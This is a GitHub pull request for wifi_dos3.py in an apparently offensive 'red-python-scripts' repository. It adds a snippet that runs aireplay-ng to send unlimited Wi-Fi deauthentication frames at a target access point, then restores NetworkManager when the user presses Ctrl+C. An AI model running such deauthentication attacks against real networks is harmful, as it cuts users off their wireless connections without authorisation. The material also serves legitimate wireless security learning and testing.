davidbombal / red-python-scripts

MIT License
2.04k stars 1.59k forks source link

Update wifi_dos3.py #50

Open 201580ag opened 1 year ago

201580ag commented 1 year ago

Press Control+C during a de-authentication attack to exit monitor mode and enable Wi-Fi again.

201580ag commented 1 year ago
try:
    subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, hacknic])
except KeyboardInterrupt:
    print("Done!")
    print("Stop authentication requests and end the monitor mode.")
subprocess.run(["sudo", "systemctl", "start", "NetworkManager.service"])
print("Done!")

You have used that code.